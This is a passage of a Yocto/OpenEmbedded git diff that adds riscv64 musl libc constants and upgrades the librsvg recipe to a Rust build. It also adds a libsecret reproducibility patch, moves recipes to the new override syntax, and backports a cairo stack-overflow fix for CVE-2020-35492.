++pub const EMEDIUMTYPE: ::c_int = 124;
++pub const ECANCELED: ::c_int = 125;
++pub const ENOKEY: ::c_int = 126;
++pub const EKEYEXPIRED: ::c_int = 127;
++pub const EKEYREVOKED: ::c_int = 128;
++pub const EKEYREJECTED: ::c_int = 129;
++pub const EOWNERDEAD: ::c_int = 130;
++pub const ENOTRECOVERABLE: ::c_int = 131;
++pub const EHWPOISON: ::c_int = 133;
++pub const ERFKILL: ::c_int = 132;
++
++pub const SA_ONSTACK: ::c_int = 0x08000000;
++pub const SA_SIGINFO: ::c_int = 0x00000004;
++pub const SA_NOCLDWAIT: ::c_int = 0x00000002;
++
++pub const SIGCHLD: ::c_int = 17;
++pub const SIGBUS: ::c_int = 7;
++pub const SIGTTIN: ::c_int = 21;
++pub const SIGTTOU: ::c_int = 22;
++pub const SIGXCPU: ::c_int = 24;
++pub const SIGXFSZ: ::c_int = 25;
++pub const SIGVTALRM: ::c_int = 26;
++pub const SIGPROF: ::c_int = 27;
++pub const SIGWINCH: ::c_int = 28;
++pub const SIGUSR1: ::c_int = 10;
++pub const SIGUSR2: ::c_int = 12;
++pub const SIGCONT: ::c_int = 18;
++pub const SIGSTOP: ::c_int = 19;
++pub const SIGTSTP: ::c_int = 20;
++pub const SIGURG: ::c_int = 23;
++pub const SIGIO: ::c_int = 29;
++pub const SIGSYS: ::c_int = 31;
++pub const SIGSTKFLT: ::c_int = 16;
++pub const SIGPOLL: ::c_int = 29;
++pub const SIGPWR: ::c_int = 30;
++pub const SIG_SETMASK: ::c_int = 2;
++pub const SIG_BLOCK: ::c_int = 0x000000;
++pub const SIG_UNBLOCK: ::c_int = 0x01;
++
++pub const F_GETLK: ::c_int = 5;
++pub const F_GETOWN: ::c_int = 9;
++pub const F_SETLK: ::c_int = 6;
++pub const F_SETLKW: ::c_int = 7;
++pub const F_SETOWN: ::c_int = 8;
++pub const F_OFD_GETLK: ::c_int = 36;
++pub const F_OFD_SETLK: ::c_int = 37;
++pub const F_OFD_SETLKW: ::c_int = 38;
++
++pub const VEOF: usize = 4;
++
++pub const POLLWRNORM: ::c_short = 0x100;
++pub const POLLWRBAND: ::c_short = 0x200;
++
++pub const SOCK_STREAM: ::c_int = 1;
++pub const SOCK_DGRAM: ::c_int = 2;
++pub const SOL_SOCKET: ::c_int = 1;
++pub const SO_REUSEADDR: ::c_int = 2;
++pub const SO_TYPE: ::c_int = 3;
++pub const SO_ERROR: ::c_int = 4;
++pub const SO_DONTROUTE: ::c_int = 5;
++pub const SO_BROADCAST: ::c_int = 6;
++pub const SO_SNDBUF: ::c_int = 7;
++pub const SO_RCVBUF: ::c_int = 8;
++pub const SO_KEEPALIVE: ::c_int = 9;
++pub const SO_OOBINLINE: ::c_int = 10;
++pub const SO_NO_CHECK: ::c_int = 11;
++pub const SO_PRIORITY: ::c_int = 12;
++pub const SO_LINGER: ::c_int = 13;
++pub const SO_BSDCOMPAT: ::c_int = 14;
++pub const SO_REUSEPORT: ::c_int = 15;
++pub const SO_ACCEPTCONN: ::c_int = 30;
++pub const SO_SNDBUFFORCE: ::c_int = 32;
++pub const SO_RCVBUFFORCE: ::c_int = 33;
++pub const SO_PROTOCOL: ::c_int = 38;
++pub const SO_DOMAIN: ::c_int = 39;
++
++pub const MAP_ANON: ::c_int = 0x0020;
++pub const MAP_GROWSDOWN: ::c_int = 0x0100;
++pub const MAP_DENYWRITE: ::c_int = 0x0800;
++pub const MAP_EXECUTABLE: ::c_int = 0x01000;
++pub const MAP_LOCKED: ::c_int = 0x02000;
++pub const MAP_NORESERVE: ::c_int = 0x04000;
++pub const MAP_POPULATE: ::c_int = 0x08000;
++pub const MAP_NONBLOCK: ::c_int = 0x010000;
++pub const MAP_STACK: ::c_int = 0x020000;
++pub const MAP_HUGETLB: ::c_int = 0x040000;
++pub const MAP_SYNC : ::c_int = 0x080000;
++
++pub const RLIMIT_NLIMITS: ::c_int = 15;
++pub const TIOCINQ: ::c_int = ::FIONREAD;
++pub const MCL_CURRENT: ::c_int = 0x0001;
++pub const MCL_FUTURE: ::c_int = 0x0002;
++pub const CBAUD: ::tcflag_t = 0o0010017;
++pub const TAB1: ::c_int = 0x00000800;
++pub const TAB2: ::c_int = 0x00001000;
++pub const TAB3: ::c_int = 0x00001800;
++pub const CR1: ::c_int = 0x00000200;
++pub const CR2: ::c_int = 0x00000400;
++pub const CR3: ::c_int = 0x00000600;
++pub const FF1: ::c_int = 0x00008000;
++pub const BS1: ::c_int = 0x00002000;
++pub const VT1: ::c_int = 0x00004000;
++pub const VWERASE: usize = 14;
++pub const VREPRINT: usize = 12;
++pub const VSUSP: usize = 10;
++pub const VSTART: usize = 8;
++pub const VSTOP: usize = 9;
++pub const VDISCARD: usize = 13;
++pub const VTIME: usize = 5;
++pub const IXON: ::tcflag_t = 0x00000400;
++pub const IXOFF: ::tcflag_t = 0x00001000;
++pub const ONLCR: ::tcflag_t = 0x4;
++pub const CSIZE: ::tcflag_t = 0x00000030;
++pub const CS6: ::tcflag_t = 0x00000010;
++pub const CS7: ::tcflag_t = 0x00000020;
++pub const CS8: ::tcflag_t = 0x00000030;
++pub const CSTOPB: ::tcflag_t = 0x00000040;
++pub const CREAD: ::tcflag_t = 0x00000080;
++pub const PARENB: ::tcflag_t = 0x00000100;
++pub const PARODD: ::tcflag_t = 0x00000200;
++pub const HUPCL: ::tcflag_t = 0x00000400;
++pub const CLOCAL: ::tcflag_t = 0x00000800;
++pub const ECHOKE: ::tcflag_t = 0x00000800;
++pub const ECHOE: ::tcflag_t = 0x00000010;
++pub const ECHOK: ::tcflag_t = 0x00000020;
++pub const ECHONL: ::tcflag_t = 0x00000040;
++pub const ECHOPRT: ::tcflag_t = 0x00000400;
++pub const ECHOCTL: ::tcflag_t = 0x00000200;
++pub const ISIG: ::tcflag_t = 0x00000001;
++pub const ICANON: ::tcflag_t = 0x00000002;
++pub const PENDIN: ::tcflag_t = 0x00004000;
++pub const NOFLSH: ::tcflag_t = 0x00000080;
++pub const CIBAUD: ::tcflag_t = 0o02003600000;
++pub const CBAUDEX: ::tcflag_t = 0o010000;
++pub const VSWTC: usize = 7;
++pub const OLCUC: ::tcflag_t = 0o000002;
++pub const NLDLY: ::tcflag_t = 0o000400;
++pub const CRDLY: ::tcflag_t = 0o003000;
++pub const TABDLY: ::tcflag_t = 0o014000;
++pub const BSDLY: ::tcflag_t = 0o020000;
++pub const FFDLY: ::tcflag_t = 0o100000;
++pub const VTDLY: ::tcflag_t = 0o040000;
++pub const XTABS: ::tcflag_t = 0o014000;
++pub const B57600: ::speed_t = 0o010001;
++pub const B115200: ::speed_t = 0o010002;
++pub const B230400: ::speed_t = 0o010003;
++pub const B460800: ::speed_t = 0o010004;
++pub const B500000: ::speed_t = 0o010005;
++pub const B576000: ::speed_t = 0o010006;
++pub const B921600: ::speed_t = 0o010007;
++pub const B1000000: ::speed_t = 0o010010;
++pub const B1152000: ::speed_t = 0o010011;
++pub const B1500000: ::speed_t = 0o010012;
++pub const B2000000: ::speed_t = 0o010013;
++pub const B2500000: ::speed_t = 0o010014;
++pub const B3000000: ::speed_t = 0o010015;
++pub const B3500000: ::speed_t = 0o010016;
++pub const B4000000: ::speed_t = 0o010017;
++
++pub const FIOCLEX: ::c_int = 0x5451;
++pub const FIONCLEX: ::c_int = 0x5450;
++pub const FIONBIO: ::c_int = 0x5421;
++pub const EDEADLK: ::c_int = 35;
++pub const EDEADLOCK: ::c_int = EDEADLK;
++pub const SO_PASSCRED: ::c_int = 16;
++pub const SO_PEERCRED: ::c_int = 17;
++pub const SO_RCVLOWAT: ::c_int = 18;
++pub const SO_SNDLOWAT: ::c_int = 19;
++pub const SO_RCVTIMEO: ::c_int = 20;
++pub const SO_SNDTIMEO: ::c_int = 21;
++pub const EXTPROC: ::tcflag_t = 0x00010000;
++pub const VEOL: usize = 11;
++pub const VEOL2: usize = 16;
++pub const VMIN: usize = 6;
++pub const IEXTEN: ::tcflag_t = 0x00008000;
++pub const TOSTOP: ::tcflag_t = 0x00000100;
++pub const FLUSHO: ::tcflag_t = 0x00001000;
++pub const TCGETS: ::c_int = 0x5401;
++pub const TCSETS: ::c_int = 0x5402;
++pub const TCSETSW: ::c_int = 0x5403;
++pub const TCSETSF: ::c_int = 0x5404;
++pub const TCGETA: ::c_int = 0x5405;
++pub const TCSETA: ::c_int = 0x5406;
++pub const TCSETAW: ::c_int = 0x5407;
++pub const TCSETAF: ::c_int = 0x5408;
++pub const TCSBRK: ::c_int = 0x5409;
++pub const TCXONC: ::c_int = 0x540A;
++pub const TCFLSH: ::c_int = 0x540B;
++pub const TIOCGSOFTCAR: ::c_int = 0x5419;
++pub const TIOCSSOFTCAR: ::c_int = 0x541A;
++pub const TIOCLINUX: ::c_int = 0x541C;
++pub const TIOCGSERIAL: ::c_int = 0x541E;
++pub const TIOCEXCL: ::c_int = 0x540C;
++pub const TIOCNXCL: ::c_int = 0x540D;
++pub const TIOCSCTTY: ::c_int = 0x540E;
++pub const TIOCGPGRP: ::c_int = 0x540F;
++pub const TIOCSPGRP: ::c_int = 0x5410;
++pub const TIOCOUTQ: ::c_int = 0x5411;
++pub const TIOCSTI: ::c_int = 0x5412;
++pub const TIOCGWINSZ: ::c_int = 0x5413;
++pub const TIOCSWINSZ: ::c_int = 0x5414;
++pub const TIOCMGET: ::c_int = 0x5415;
++pub const TIOCMBIS: ::c_int = 0x5416;
++pub const TIOCMBIC: ::c_int = 0x5417;
++pub const TIOCMSET: ::c_int = 0x5418;
++pub const FIONREAD: ::c_int = 0x541B;
++pub const TIOCCONS: ::c_int = 0x541D;
++
++pub const TIOCM_LE: ::c_int = 0x001;
++pub const TIOCM_DTR: ::c_int = 0x002;
++pub const TIOCM_RTS: ::c_int = 0x004;
++pub const TIOCM_ST: ::c_int = 0x008;
++pub const TIOCM_SR: ::c_int = 0x010;
++pub const TIOCM_CTS: ::c_int = 0x020;
++pub const TIOCM_CAR: ::c_int = 0x040;
++pub const TIOCM_RNG: ::c_int = 0x080;
++pub const TIOCM_DSR: ::c_int = 0x100;
++pub const TIOCM_CD: ::c_int = TIOCM_CAR;
++pub const TIOCM_RI: ::c_int = TIOCM_RNG;
++
++extern "C" {
++ pub fn ioctl(fd: ::c_int, request: ::c_int, ...) -> ::c_int;
++}
diff --git a/meta/recipes-gnome/librsvg/librsvg/gtk-option.patch b/meta/recipes-gnome/librsvg/librsvg/gtk-option.patch
deleted file mode 100644
index 6c23071cd3..0000000000
--- a/meta/recipes-gnome/librsvg/librsvg/gtk-option.patch
+++ /dev/null
@@ -1,60 +0,0 @@
-From 4e0ce3f22d45033a108cbacca3e5ec6728bd44f3 Mon Sep 17 00:00:00 2001
-From: Jussi Kukkonen <jussi.kukkonen@intel.com>
-Date: Tue, 11 Aug 2015 16:25:38 +0300
-Subject: [PATCH] configure: add option to enable/disable use of GTK+
-
-Distro packagers like predictability and automatically detected optional
-dependencies are not predicable. Add a --with-gtk3 option (default to "auto")
-for forcibly controlling whether GTK+ will be used or not.
-
-Upstream-Status: Submitted [https://bugzilla.gnome.org/show_bug.cgi?id=712693]
-
-Signed-off-by: Ross Burton <ross.burton@intel.com>
-Signed-off-by: Jussi Kukkonen <jussi.kukkonen@intel.com>
----
- configure.ac | 17 +++++++++++------
- 1 file changed, 11 insertions(+), 6 deletions(-)
-
-diff --git a/configure.ac b/configure.ac
-index e61a952..c3aae84 100644
---- a/configure.ac
-+++ b/configure.ac
-@@ -130,17 +130,22 @@ AC_CHECK_FUNCS(strtok_r)
- # GTK
- # ===========================================================================
-
--PKG_CHECK_MODULES([GTK3],[gtk+-3.0 >= $GTK3_REQUIRED],[have_gtk_3=yes],[have_gtk_3=no])
--
- GTK3_BINARY_VERSION=
-
--if test "$have_gtk_3" = "yes"; then
-- GTK3_BINARY_VERSION="`$PKG_CONFIG --variable=gtk_binary_version gtk+-3.0`"
-+AC_MSG_CHECKING([whether to use GTK+ 3])
-+AC_ARG_WITH([gtk3],
-+ [AS_HELP_STRING([--without-gtk3],[Don't build GTK+3 tools (default=auto)])],
-+ [],[PKG_CHECK_EXISTS([gtk+-3.0 >= $GTK3_REQUIRED],[with_gtk3=yes],[with_gtk3=no])])
-+AC_MSG_RESULT([$with_gtk3])
-+
-+if test "$with_gtk3" = "yes"; then
-+ PKG_CHECK_MODULES(GTK3, [gtk+-3.0 >= $GTK3_REQUIRED])
-+ GTK3_BINARY_VERSION="`$PKG_CONFIG --variable=gtk_binary_version gtk+-3.0`"
- fi
-
- AC_SUBST([GTK3_BINARY_VERSION])
-
--AM_CONDITIONAL([HAVE_GTK_3],[test "$have_gtk_3" = "yes"])
-+AM_CONDITIONAL([HAVE_GTK_3],[test "$with_gtk3" = "yes"])
-
- dnl ===========================================================================
- dnl GDK-Pixbuf SVG loader
-@@ -298,6 +303,6 @@ librsvg-$VERSION
- Build introspectable bindings: ${found_introspection}
- Build Vala bindings: ${enable_vala}
- Build GdkPixbuf loader: ${enable_pixbuf_loader}
-- GTK+ $GTK3_REQUIRED or later: ${have_gtk_3}
-+ GTK+ $GTK3_REQUIRED or later: ${with_gtk_3}
- Build miscellaneous tools: ${build_misc_tools}
- "
---
-2.1.4
-
diff --git a/meta/recipes-gnome/librsvg/librsvg_2.40.21.bb b/meta/recipes-gnome/librsvg/librsvg_2.40.21.bb
deleted file mode 100644
index acdbc1f1b3..0000000000
--- a/meta/recipes-gnome/librsvg/librsvg_2.40.21.bb
+++ /dev/null
@@ -1,49 +0,0 @@
-SUMMARY = "Library for rendering SVG files"
-DESCRIPTION = "A small library to render Scalable Vector Graphics (SVG), \
-associated with the GNOME Project. It renders SVG files to Cairo surfaces. \
-Cairo is the 2D, antialiased drawing library that GNOME uses to draw things to \
-the screen or to generate output for printing."
-HOMEPAGE = "https://gitlab.gnome.org/GNOME/librsvg"
-BUGTRACKER = "https://gitlab.gnome.org/GNOME/librsvg/issues"
-
-RECIPE_NO_UPDATE_REASON = "Versions from 2.41.0 requires Rust compiler to build it"
-
-LICENSE = "LGPLv2+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=94d55d512a9ba36caa9b7df079bae19f \
- file://rsvg.h;beginline=3;endline=24;md5=20b4113c4909bbf0d67e006778302bc6"
-
-SECTION = "x11/utils"
-DEPENDS = "cairo gdk-pixbuf glib-2.0 libcroco libxml2 pango"
-BBCLASSEXTEND = "native nativesdk"
-
-inherit gnomebase gtk-doc pixbufcache upstream-version-is-even gobject-introspection
-
-SRC_URI += "file://gtk-option.patch \
- file://0001-Auto-detect-Bsymbolic-fixes-configure-on-macOS.patch \
- file://0001-Remove-non-reproducible-SRCDIR.patch \
-"
-
-SRC_URI[archive.sha256sum] = "f7628905f1cada84e87e2b14883ed57d8094dca3281d5bcb24ece4279e9a92ba"
-
-CACHED_CONFIGUREVARS = "ac_cv_path_GDK_PIXBUF_QUERYLOADERS=${STAGING_LIBDIR_NATIVE}/gdk-pixbuf-2.0/gdk-pixbuf-query-loaders"
-
-PACKAGECONFIG ??= "gdkpixbuf"
-# The gdk-pixbuf loader
-PACKAGECONFIG[gdkpixbuf] = "--enable-pixbuf-loader,--disable-pixbuf-loader,gdk-pixbuf-native"
-# GTK+ test application (rsvg-view)
-PACKAGECONFIG[gtk] = "--with-gtk3,--without-gtk3,gtk+3"
-
-do_install_append() {
- # Loadable modules don't need .a or .la on Linux
- rm -f ${D}${libdir}/gdk-pixbuf-2.0/*/loaders/*.a ${D}${libdir}/gdk-pixbuf-2.0/*/loaders/*.la
-}
-
-PACKAGES =+ "librsvg-gtk rsvg"
-FILES_rsvg = "${bindir}/rsvg* \
- ${datadir}/pixmaps/svg-viewer.svg \
- ${datadir}/themes"
-FILES_librsvg-gtk = "${libdir}/gdk-pixbuf-2.0/*/*/*.so \
- ${datadir}/thumbnailers/librsvg.thumbnailer"
-RRECOMMENDS_librsvg-gtk = "gdk-pixbuf-bin"
-
-PIXBUF_PACKAGES = "librsvg-gtk"
diff --git a/meta/recipes-gnome/librsvg/librsvg_2.52.4.bb b/meta/recipes-gnome/librsvg/librsvg_2.52.4.bb
new file mode 100644
index 0000000000..bbaaefcd23
--- /dev/null
+++ b/meta/recipes-gnome/librsvg/librsvg_2.52.4.bb
@@ -0,0 +1,80 @@
+SUMMARY = "Library for rendering SVG files"
+DESCRIPTION = "A small library to render Scalable Vector Graphics (SVG), \
+associated with the GNOME Project. It renders SVG files to Cairo surfaces. \
+Cairo is the 2D, antialiased drawing library that GNOME uses to draw things to \
+the screen or to generate output for printing."
+HOMEPAGE = "https://gitlab.gnome.org/GNOME/librsvg"
+BUGTRACKER = "https://gitlab.gnome.org/GNOME/librsvg/issues"
+
+LICENSE = "LGPLv2.1+"
+LIC_FILES_CHKSUM = "file://COPYING.LIB;md5=4fbd65380cdd255951079008b364516c \
+ "
+
+SECTION = "x11/utils"
+DEPENDS = "cairo gdk-pixbuf glib-2.0 libcroco libxml2 pango"
+BBCLASSEXTEND = "native"
+
+inherit gnomebase gtk-doc pixbufcache upstream-version-is-even gobject-introspection rust
+
+SRC_URI += "file://0001-Makefile.am-pass-rust-target-to-cargo-also-when-not-.patch \
+ file://0001-system-deps-src-lib.rs-do-not-probe-into-harcoded-li.patch \
+ file://0001-vendor-system-deps-sort-dependencies-before-using-th.patch \
+ file://0005-Add-base-definitions-for-riscv64-musl-libc-0.2.93.patch \
+ file://0006-FIXUP-linux-musl-mod.rs-add-riscv64-to-b64-set-libc-.patch \
+ file://0007-FIXUP-Correct-definitions-to-match-musl-libc-0.2.93.patch \
+ file://0001-Update-checksums-for-modified-files-for-libc.patch \
+ "
+
+SRC_URI[archive.sha256sum] = "660ec8836a3a91587bc9384920132d4c38d1d1718c67fe160c5213fe4dec2928"
+
+# librsvg is still autotools-based, but is calling cargo from its automake-driven makefiles
+# so we cannot use cargo class directly, but still need bits and pieces from it
+# for cargo to be happy
+BASEDEPENDS:append = " cargo-native"
+
+export RUST_BACKTRACE = "full"
+export RUSTFLAGS
+export RUST_TARGET_PATH
+
+export RUST_TARGET = "${HOST_SYS}"
+
+RUSTFLAGS:append:mips = " --cfg crossbeam_no_atomic_64"
+RUSTFLAGS:append:mipsel = " --cfg crossbeam_no_atomic_64"
+RUSTFLAGS:append:powerpc = " --cfg crossbeam_no_atomic_64"
+RUSTFLAGS:append:riscv32 = " --cfg crossbeam_no_atomic_64"
+
+# rust-cross writes the target linker binary into target json definition without any flags.
+# This breaks here because the linker isn't going to work without at least knowing where
+# the sysroot is. So copy the json to workdir, and patch in the path to wrapper from rust class
+# which supplies the needed flags.
+do_compile:prepend() {
+ cp ${STAGING_LIBDIR_NATIVE}/rustlib/${HOST_SYS}.json ${WORKDIR}
+ cp ${STAGING_LIBDIR_NATIVE}/rustlib/${BUILD_SYS}.json ${WORKDIR}
+ sed -ie 's,"linker": ".*","linker": "${RUST_TARGET_CC}",g' ${WORKDIR}/${HOST_SYS}.json
+ RUST_TARGET_PATH="${WORKDIR}"
+ export RUST_TARGET_PATH
+}
+
+# Issue only on windows
+CVE_CHECK_WHITELIST += "CVE-2018-1000041"
+
+CACHED_CONFIGUREVARS = "ac_cv_path_GDK_PIXBUF_QUERYLOADERS=${STAGING_LIBDIR_NATIVE}/gdk-pixbuf-2.0/gdk-pixbuf-query-loaders"
+
+PACKAGECONFIG ??= "gdkpixbuf"
+# The gdk-pixbuf loader
+PACKAGECONFIG[gdkpixbuf] = "--enable-pixbuf-loader,--disable-pixbuf-loader,gdk-pixbuf-native"
+
+do_install:append() {
+ # Loadable modules don't need .a or .la on Linux
+ rm -f ${D}${libdir}/gdk-pixbuf-2.0/*/loaders/*.a ${D}${libdir}/gdk-pixbuf-2.0/*/loaders/*.la
+}
+
+PACKAGES =+ "librsvg-gtk rsvg"
+FILES:rsvg = "${bindir}/rsvg* \
+ ${datadir}/pixmaps/svg-viewer.svg \
+ ${datadir}/themes"
+FILES:librsvg-gtk = "${libdir}/gdk-pixbuf-2.0/*/*/*.so \
+ ${datadir}/thumbnailers/librsvg.thumbnailer"
+RRECOMMENDS:librsvg-gtk = "gdk-pixbuf-bin"
+
+PIXBUF_PACKAGES = "librsvg-gtk"
diff --git a/meta/recipes-gnome/libsecret/libsecret/determinism.patch b/meta/recipes-gnome/libsecret/libsecret/determinism.patch
new file mode 100644
index 0000000000..ad96e8f59b
--- /dev/null
+++ b/meta/recipes-gnome/libsecret/libsecret/determinism.patch
@@ -0,0 +1,37 @@
+secret-enum-types.c/h.template: Fix reproducibility issue
+
+When full filenames are used in generated sources it makes the resulting
+debug packages non-reproducible. Best practise is to use basename in
+comments instead.
+
+Signed-off-by: Richard Purdie richard.purdie@linuxfoundation.org
+Upstream-Status: Submitted [https://gitlab.gnome.org/GNOME/libsecret/-/merge_requests/68]
+
+Index: libsecret-0.20.4/libsecret/secret-enum-types.c.template
+===================================================================
+--- libsecret-0.20.4.orig/libsecret/secret-enum-types.c.template
++++ libsecret-0.20.4/libsecret/secret-enum-types.c.template
+@@ -23,8 +23,8 @@
+ /*** END file-header ***/
+
+ /*** BEGIN file-production ***/
+-#include "@filename@"
+-/* enumerations from "@filename@" */
++#include "@basename@"
++/* enumerations from "@basename@" */
+ /*** END file-production ***/
+
+ /*** BEGIN value-header ***/
+Index: libsecret-0.20.4/libsecret/secret-enum-types.h.template
+===================================================================
+--- libsecret-0.20.4.orig/libsecret/secret-enum-types.h.template
++++ libsecret-0.20.4/libsecret/secret-enum-types.h.template
+@@ -27,7 +27,7 @@ G_BEGIN_DECLS
+
+ /*** BEGIN file-production ***/
+
+-/* enumerations from "@filename@" */
++/* enumerations from "@basename@" */
+ /*** END file-production ***/
+
+ /*** BEGIN value-header ***/
diff --git a/meta/recipes-gnome/libsecret/libsecret_0.20.4.bb b/meta/recipes-gnome/libsecret/libsecret_0.20.4.bb
index 96f6460181..9c1f97b8f8 100644
--- a/meta/recipes-gnome/libsecret/libsecret_0.20.4.bb
+++ b/meta/recipes-gnome/libsecret/libsecret_0.20.4.bb
@@ -4,6 +4,7 @@ the freedesktop.org project, a cross-desktop effort to access passwords, \
tokens and other types of secrets. libsecret provides a convenient wrapper \
for these methods so consumers do not have to call the low-level DBus methods."
LICENSE = "LGPLv2.1"
+HOMEPAGE = "https://github.com/GNOME/libsecret"
BUGTRACKER = "https://gitlab.gnome.org/GNOME/libsecret/issues"
LIC_FILES_CHKSUM = "file://COPYING;md5=23c2a5e0106b99d75238986559bb5fc6"
@@ -13,6 +14,8 @@ inherit gnomebase gtk-doc vala gobject-introspection manpages
DEPENDS += "glib-2.0 libgcrypt gettext-native"
+SRC_URI += " file://determinism.patch"
+
SRC_URI[archive.sha256sum] = "325a4c54db320c406711bf2b55e5cb5b6c29823426aa82596a907595abb39d28"
GTKDOC_MESON_OPTION = 'gtk_doc'
@@ -20,6 +23,6 @@ GTKDOC_MESON_OPTION = 'gtk_doc'
PACKAGECONFIG[manpages] = "-Dmanpage=true,-Dmanpage=false,libxslt-native xmlto-native"
# http://errors.yoctoproject.org/Errors/Details/20228/
-ARM_INSTRUCTION_SET_armv4 = "arm"
-ARM_INSTRUCTION_SET_armv5 = "arm"
-ARM_INSTRUCTION_SET_armv6 = "arm"
+ARM_INSTRUCTION_SET:armv4 = "arm"
+ARM_INSTRUCTION_SET:armv5 = "arm"
+ARM_INSTRUCTION_SET:armv6 = "arm"
diff --git a/meta/recipes-graphics/builder/builder_0.1.bb b/meta/recipes-graphics/builder/builder_0.1.bb
index 0a64c31ab3..f448465f9a 100644
--- a/meta/recipes-graphics/builder/builder_0.1.bb
+++ b/meta/recipes-graphics/builder/builder_0.1.bb
@@ -10,14 +10,14 @@ SRC_URI = "file://builder_session.sh \
S = "${WORKDIR}"
-RDEPENDS_${PN} = "mini-x-session"
+RDEPENDS:${PN} = "mini-x-session"
inherit useradd
# builder user password is "builder"
BUILDER_PASSWORD ?= ".gLibiNXn0P12"
USERADD_PACKAGES = "${PN}"
-USERADD_PARAM_${PN} = "--system --create-home \
+USERADD_PARAM:${PN} = "--system --create-home \
--groups video,tty,audio \
--password ${BUILDER_PASSWORD} \
--user-group builder"
@@ -29,3 +29,5 @@ do_install () {
chown builder.builder ${D}${sysconfdir}/mini_x/session.d/builder_session.sh
}
+# -4178 is an unrelated 'builder'
+CVE_CHECK_WHITELIST = "CVE-2008-4178"
diff --git a/meta/recipes-graphics/cairo/cairo/CVE-2020-35492.patch b/meta/recipes-graphics/cairo/cairo/CVE-2020-35492.patch
new file mode 100644
index 0000000000..fb6ce5cfdf
--- /dev/null
+++ b/meta/recipes-graphics/cairo/cairo/CVE-2020-35492.patch
@@ -0,0 +1,60 @@
+Fix stack buffer overflow.
+
+CVE: CVE-2020-35492
+Upstream-Status: Backport
+Signed-off-by: Ross Burton <ross.burton@arm.com>
+
+From 03a820b173ed1fdef6ff14b4468f5dbc02ff59be Mon Sep 17 00:00:00 2001
+From: Heiko Lewin <heiko.lewin@worldiety.de>
+Date: Tue, 15 Dec 2020 16:48:19 +0100
+Subject: [PATCH] Fix mask usage in image-compositor
+
+---
+ src/cairo-image-compositor.c | 8 ++--
+ test/Makefile.sources | 1 +
+ test/bug-image-compositor.c | 39 ++++++++++++++++++++
+ test/reference/bug-image-compositor.ref.png | Bin 0 -> 185 bytes
+ 4 files changed, 44 insertions(+), 4 deletions(-)
+ create mode 100644 test/bug-image-compositor.c
+ create mode 100644 test/reference/bug-image-compositor.ref.png
+
+diff --git a/src/cairo-image-compositor.c b/src/cairo-image-compositor.c
+index 79ad69f68..4f8aaed99 100644
+--- a/src/cairo-image-compositor.c
++++ b/src/cairo-image-compositor.c
+@@ -2601,14 +2601,14 @@ _inplace_src_spans (void *abstract_renderer, int y, int h,
+ unsigned num_spans)
+ {
+ cairo_image_span_renderer_t *r = abstract_renderer;
+- uint8_t *m;
++ uint8_t *m, *base = (uint8_t*)pixman_image_get_data(r->mask);
+ int x0;
+
+ if (num_spans == 0)
+ return CAIRO_STATUS_SUCCESS;
+
+ x0 = spans[0].x;
+- m = r->_buf;
++ m = base;
+ do {
+ int len = spans[1].x - spans[0].x;
+ if (len >= r->u.composite.run_length && spans[0].coverage == 0xff) {
+@@ -2655,7 +2655,7 @@ _inplace_src_spans (void *abstract_renderer, int y, int h,
+ spans[0].x, y,
+ spans[1].x - spans[0].x, h);
+
+- m = r->_buf;
++ m = base;
+ x0 = spans[1].x;
+ } else if (spans[0].coverage == 0x0) {
+ if (spans[0].x != x0) {
+@@ -2684,7 +2684,7 @@ _inplace_src_spans (void *abstract_renderer, int y, int h,
+ #endif
+ }
+
+- m = r->_buf;
++ m = base;
+ x0 = spans[1].x;
+ } else {
+ *m++ = spans[0].coverage;
+--
diff --git a/meta/recipes-graphics/cairo/cairo_1.16.0.bb b/meta/recipes-graphics/cairo/cairo_1.16.0.bb
index 68f993d7ca..d76d935c30 100644
--- a/meta/recipes-graphics/cairo/cairo_1.16.0.bb
+++ b/meta/recipes-graphics/cairo/cairo_1.16.0.bb
@@ -11,12 +11,12 @@ BUGTRACKER = "http://bugs.freedesktop.org"
SECTION = "libs"
LICENSE = "(MPL-1.1 | LGPLv2.1) & GPLv3+"
-LICENSE_${PN} = "MPL-1.1 | LGPLv2.1"
-LICENSE_${PN}-dev = "MPL-1.1 | LGPLv2.1"
-LICENSE_${PN}-doc = "MPL-1.1 | LGPLv2.1"
-LICENSE_${PN}-gobject = "MPL-1.1 | LGPLv2.1"
-LICENSE_${PN}-script-interpreter = "MPL-1.1 | LGPLv2.1"
-LICENSE_${PN}-perf-utils = "GPLv3+"
+LICENSE:${PN} = "MPL-1.1 | LGPLv2.1"
+LICENSE:${PN}-dev = "MPL-1.1 | LGPLv2.1"
+LICENSE:${PN}-doc = "MPL-1.1 | LGPLv2.1"
+LICENSE:${PN}-gobject = "MPL-1.1 | LGPLv2.1"
+LICENSE:${PN}-script-interpreter = "MPL-1.1 | LGPLv2.1"
+LICENSE:${PN}-perf-utils = "GPLv3+"
LIC_FILES_CHKSUM = "file://COPYING;md5=e73e999e0c72b5ac9012424fa157ad77"
@@ -27,6 +27,7 @@ SRC_URI = "http://cairographics.org/releases/cairo-${PV}.tar.xz \
file://CVE-2018-19876.patch \
file://CVE-2019-6461.patch \
file://CVE-2019-6462.patch \
+ file://CVE-2020-35492.patch \
"
SRC_URI[md5sum] = "f19e0353828269c22bd72e271243a552"
@@ -42,8 +43,8 @@ PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'directfb', d)} \
${@bb.utils.contains('DISTRO_FEATURES', 'x11', 'x11 xcb', '', d)} \
${@bb.utils.contains('DISTRO_FEATURES', 'x11 opengl', 'opengl', '', d)} \
trace"
-PACKAGECONFIG_class-native = "${@bb.utils.contains('DISTRO_FEATURES', 'x11', 'x11 xcb', '', d)}"
-PACKAGECONFIG_class-nativesdk = "${@bb.utils.contains('DISTRO_FEATURES', 'x11', 'x11 xcb', '', d)}"
+PACKAGECONFIG:class-native = "${@bb.utils.contains('DISTRO_FEATURES', 'x11', 'x11 xcb', '', d)}"
+PACKAGECONFIG:class-nativesdk = "${@bb.utils.contains('DISTRO_FEATURES', 'x11', 'x11 xcb', '', d)}"
PACKAGECONFIG[x11] = "--with-x=yes -enable-xlib,--with-x=no --disable-xlib,${X11DEPENDS}"
PACKAGECONFIG[xcb] = "--enable-xcb,--disable-xcb,libxcb"
@@ -64,7 +65,7 @@ export ac_cv_lib_bfd_bfd_openr="no"
# Ensure we don't depend on LZO
export ac_cv_lib_lzo2_lzo2a_decompress="no"
-do_install_append () {
+do_install:append () {
rm -rf ${D}${bindir}/cairo-sphinx
rm -rf ${D}${libdir}/cairo/cairo-fdr*
rm -rf ${D}${libdir}/cairo/cairo-sphinx*
@@ -78,20 +79,20 @@ do_install_append () {
